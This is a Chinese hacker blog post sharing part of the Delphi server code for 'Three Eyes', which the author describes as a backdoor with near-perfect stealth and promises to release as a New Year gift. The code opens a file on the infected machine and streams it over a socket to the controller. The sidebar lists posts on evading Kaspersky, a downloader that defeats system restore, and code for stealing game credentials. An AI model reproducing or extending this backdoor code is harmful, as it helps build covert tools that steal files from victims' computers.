-
公告
- 黑夜给了我黑色的眼睛去寻找光明,阳光给了我明亮的眼睛我却是去寻找黑暗,所以我只有在夜里才出现真实的自己。(菩提本不树,明镜亦非台,本来无一物,何处染尘埃。)
-
写作时间
-
原创下载
-
最新文章
- [04/29]大半个月的上班族
- [04/29]Google 黑客搜索技巧
- [04/23]绕过主动防御 木马病毒刺穿卡巴斯基
- [04/16]老牌社区K666再度易主 续谈当年情
- [04/14]第一天上班。
- [04/14]华夏[破还原-穿主动]完美下载者
- [04/10]第一次应凭。
- [04/08]百度K后重收经验!
- [04/06]Themida & WinLicen V1.9.1.0--V1.9.5.0 系列脱壳脚本.By.fxyang[CUG]
- [04/05]拿站之---郁闷!
- [04/02]新站建立难!
- [03/31]嘿嘿,小说站有进步!
- [03/28]五天来的琐碎片段。
- [03/23]完美世界EXE包含部分代码
- [03/22]完美世界截取和发信部分代码
-
最新评论
-
文章归档
-
Statistics
- 文章总数:154
- 评论总数:47
- 引用总数:0
- 浏览总数:121178
- 留言总数:0
- 当前样式:4u-HK
- 当前语言:zh-CN
-
友情链接
- 反木马在线
- 热门小说网
- 老喜 'S Blog
- 示波器
- 中国电脑论坛
- 交换友情链接请与QQ:287963907联系.审核非违法网站都可通过!
-
反向链接
即将发布的Three Eyes文件上传功能部分代码[Delphi]
[Three Eyes正在抓紧时间的开发当中,修复了其中不少的BUG...这里公布文件下载时服务端的部分代码!]
function DownFile(FileName: string):Boolean;
const
BufferSize = 2048;
var
BinaryFile: THandle;
BinaryBuffer: Pchar;
StrTmp: String;
BinaryFileSize, BytesRead: dword;
begin
Result := False;
BinaryFile := CreateFile(Pchar(FileName), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if (BinaryFile = INVALID_HANDLE_VALUE) then Exit;
//传输文件第一步...传输文件体积
BinaryFileSize := GetFileSize(BinaryFile, nil);
if Not SendData('dw' + #$07 + IntToStr(BinaryFileSize)) then Exit;
//等待Server发送传输开始指令
StrTmp := RecvData();
//接收到的数据长度为0或者不是开始传输指令
if (Length(StrTmp) = 0) or (StrTmp[1] <> #$A3) then Exit;
//申请缓冲区准备开始传输文件
GetMem(BinaryBuffer, BufferSize);
try
repeat
//Sleep(10); //适当的延迟还是需要的
ReadFile(BinaryFile, BinaryBuffer^, BufferSize, BytesRead, nil);
//Sleep(10); //太需要了
if (MasterSocket.SendBuffer(BinaryBuffer^, BytesRead) = SOCKET_ERROR) then Exit;
until BytesRead < 2048;
Result := True;
finally
FreeMem(BinaryBuffer); //释放内存
CloseHandle(BinaryFile); //关闭进程句柄
end;
end;
[Three eyes我会抓紧时间开发,争取在过年前与大家见面,送给大家一个几乎隐蔽性上完美的后门迎新年!]


0 Comments , 0 Trackbacks
Jump to comment form | comments rss | Get trackback uri